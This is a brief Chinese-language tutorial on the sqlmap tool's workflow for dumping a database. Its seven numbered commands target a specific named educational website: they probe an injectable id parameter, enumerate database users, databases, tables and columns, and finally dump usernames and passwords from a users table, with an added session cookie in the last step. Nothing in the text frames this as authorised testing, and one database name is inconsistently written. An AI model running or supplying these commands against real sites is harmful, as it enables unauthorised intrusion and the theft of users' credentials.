sqlmap脱库流程

1.探测漏洞是否存在

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30”

2.探测当前数据库用户

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” --current-users

3.获取所有数据库

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” --dbs

4.获取当前数据库

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” --current-db

5.获取表名

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” -D 510cms --tables

6.获取字段名

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” -D 510cmd -T users --columns

7.获取数据

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” -D 510cms -T users -C name,password --dump

假如有cookie信息，需要将cookie添加到参数中

sqlmap -u “https://www.ssc.edu.in/newsdetails.php?id=30” --cookie=“afag2313bb5jkh75bi” -D 510cms -T users -C name,password --dump